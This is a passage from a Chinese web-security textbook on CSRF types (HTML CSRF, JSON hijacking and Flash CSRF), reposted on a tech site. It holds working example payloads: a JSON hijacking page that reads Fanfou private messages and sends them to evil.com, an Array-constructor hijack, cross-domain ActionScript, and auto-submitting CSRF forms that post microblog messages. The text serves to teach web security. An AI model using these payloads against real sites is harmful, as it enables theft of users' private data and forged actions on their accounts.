4.2 CSRF 类型
按照请求类型来区分,上面介绍的这个场景中其实已经提到:GET型与POST型的CSRF攻击,在此不再多述。
若按照攻击方式分类,CSRF可分为:HTMLCSRF攻击、JSON HiJacking攻击和Flash CSRF攻击等。
4.2.1 HTML CSRF攻击
同样是上面那个场景,发起的CSRF请求都属于HTML元素发出的,这一类是最普遍的CSRF攻击,我们来看看都有哪些HTML元素可以发出这些请求。
HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求,如:
<link href=""> <img src=""> <img lowsrc=""> <img dynsrc=""> <meta http-equiv="refresh" content="0; url="> <iframe src=""> <frame src=""> <script src=""> <bgsound src=""> <embed src=""> <video src=""> <audio src=""> <a href=""> <table background=""> ...
CSS样式中的:
@import "" background:url("") ...
还有通过JavaScript动态生成的标签对象或CSS对象发起的GET请求,而发出POST请求只能通过form提交方式。
4.2.2 JSON HiJacking攻击
JSON HiJacking技术非常经典,攻击过程是CSRF,不过是对AJAX响应中最常见的JSON数据类型进行的劫持攻击。很多时候,网站发出的AJAX请求,响应回来的数据是JSON格式,它有以下两种格式。
1)字典格式
{ "id": 1, "name": "foo", "email": "foo@gmail.com", }
2)列表格式
["foo", "xoo", "coo"]
每个键值可以是数字、字符串、布尔值、字典、列表、null等,最终呈现出来的是一份结构清晰且完整的字典结构或列表结构。由于JSON格式的简洁与强大,网站开始逐渐使用JSON替代传统的XML进行数据传输。JSON在各种流行语言中都得到了完美支持,这里以JavaScript为例进行说明。JSON数据如果以字典形式返回,直接在浏览器中显示会报错,原因是浏览器以为“{”开头的脚本应该是一段左右花括号包围住的代码块,所以,对这种JSON数据的处理,一般会这样:
eval("("+JSON_DATA+")"); // 前后加上圆括号
对于使用列表形式返回的JSON数据,它是一个Array对象,以前可以通过劫持Array数据来进行JSON HiJacking攻击,但是现在已经不行了。先来看下一个以前饭否的JSON HiJacking案例。饭否的private_messages API可以显示用户私信内容,官方描述如下:
显示用户收到的私信 路径: http://api.fanfou.com/ private_messages/inbox.[json|xml] 参数: count (可选) - 私信数,范围 1-20,默认为 20。 示例: http://api.fanfou.com/private_messages/inbox.xml?count=10 callback (可选) - JavaScript 函数名, 使用 JSON 格式时可用,将 JSON 对象作为参数直接调用。 示例: http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses
我们使用JSON格式的数据返回,并且call-back函数可以自定义。接着自定义一个JSON Hi-Jacking页面,包含如下JavaScript代码:
<script> function hijack(o) { //自定义的劫持函数 var i = 0; var data = ''; for (i; i < 3; i++) { //alert(o[i].text); data += o[i].sender_id } alert(data); new Image().src = "http://www.evil.com/JSONHiJack.php?hi=" + escape (data); // 将获取到的隐私数据上传到攻击者服务器上 } </script> <script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=3></script> <!--api调用中使用的callback函数为hijack-->
当登录饭否的用户被欺骗访问这个页面时,其隐私将暴露无遗。第一个<script>标签内的脚本是
我们自定义的劫持函数hijack,第二个<script>标签加载远程JS文件,即饭否的private_messagesAPI,这个加载过程实际上是发出了一个CSRFGET请求,请求带上了登录用户的Cookie身份认证信息,返回的数据如下:
hijack([{ "id": 585904, "text": "...", "sender_id": "Salina_Wu", "recipient_id": "ycosxhack", "created_at": "Sat May 31 05:00:01 +0000 2008", "sender_screen_name": "LOLO", "recipient_screen_name": "余弦" }, { "id": 444619, "text": "'';!--\"<XSS>=&{()}", "sender_id": "xssis", "recipient_id": "ycosxhack", "created_at": "Fri Apr 11 16:07:19 +0000 2008", "sender_screen_name": "xssis", "recipient_screen_name": "余弦" }, { "id": 351757, "text": "...", "sender_id": "Salina_Wu", "recipient_id": "ycosxhack", "created_at": "Sat Mar 01 03:27:22 +0000 2008", "sender_screen_name": "LOLO", "recipient_screen_name": "余弦" }])
由于hijack函数被预先劫持而定义,并且第二个<script>标签内的远程JS文件返回的数据被当做JavaScript代码而被解析执行,这时就会执行这个hijack函数,参数就是上面hijack()中的这段JSON数据。
这样的JSON HiJacking很经典,如果饭否API不允许自定义callback函数,返回的数据内容如下:
[{ "id": 585904, "text": "...", "sender_id": "Salina_Wu", "recipient_id": "ycosxhack", "created_at": "Sat May 31 05:00:01 +0000 2008", "sender_screen_name": "LOLO", "recipient_screen_name": "余弦" }, // 其余省略…… ]
返回结果是一个Array对象,我们曾经可以通过在加载待劫持的JS文件之前,先劫持住Array对象,例如,下面这段代码:
<script> var JackObj; Array = function() { JackObj = this; }; </script> <script src=http://api.fanfou.com/private_messages/inbox.json> </script>
4.2.3 Flash CSRF攻击
Flash的世界同样遵循同源策略,发起的CSRF攻击是通过ActionScript脚本来完成的,说到Flash CSRF时,我们通常会想到以下两点:
· 跨域获取隐私数据。
· 跨域提交数据操作,一些如添加、删除、编辑等操作的请求,这里并不会获取到隐私数据。
1. 跨域获取隐私数据
如果目标网站的根目录下存在crossdo-main.xml文件,配置如下:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
配置中的allow-access-from domain="*"表示允许任何域的Flash请求本域的资源。这样就非常危险,如果用户登录目标网站,被欺骗访问包含恶意Flash的网页时,自己的隐私数据就可能被盗走。这个恶意Flash的ActionScript脚本如下:
import flash.net.*; // 请求隐私数据所在的页面 var loader = new URLLoader(new URLRequest("http://www.foo.com/private")); loader.addEventListener(Event.COMPLETE,function(){ // 当请求完成后 loader.data; // 获取到的隐私数据 // 更多操作 }); loader.load(); // 发起请求
2. 跨域提交数据操作
这个其实就不需要crossdomain.xml的跨域访问策略了,在前面我们已经提到,跨域发起的GET/POST请求对浏览器来说就是合法的,那么在Flash里进行也一样。
我们来看一个场景,国内某微博的发微博消息存在CSRF漏洞。一般情况下,我们会使用“HTMLCSRF”方式进行:
<form action="http://t.xxx.com/article/updatetweet" method="post"> <input type="hidden" name="status" value="html_csrf_here." /> </form> <script>document.forms[0].submit();</script>
构造好CSRF页面,欺骗用户访问即可,提交成功后会有JSON文件返回,并提示下载,这样的攻击就有些暴露了。如果通过Flash来进行这个过程会更加隐蔽,ActionScript代码如下:
import flash.net.URLRequest; function post(msg){ var url = new URLRequest("http://t.xxx.com/article/updatetweet"); var _v = new URLVariables(); _v = "status="+msg; url.method = "POST"; // POST方式提交 url.data = _v; sendToURL(url); // 发送 } post('flash_csrf_here');
好了,一个更完美的攻击就完成了。
4.3 有何危害
CSRF有何危害?那就看CSRF能做什么,内容如下(许多细节将在第7章和第9章详细介绍):
· 篡改目标网站上的用户数据。
· 盗取用户隐私数据。
· 作为其他攻击向量的辅助攻击手法。
· 传播CSRF蠕虫。
CSRF实际上已经是崛起的“巨人”了,在真实的攻击中发挥了很重要的作用。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论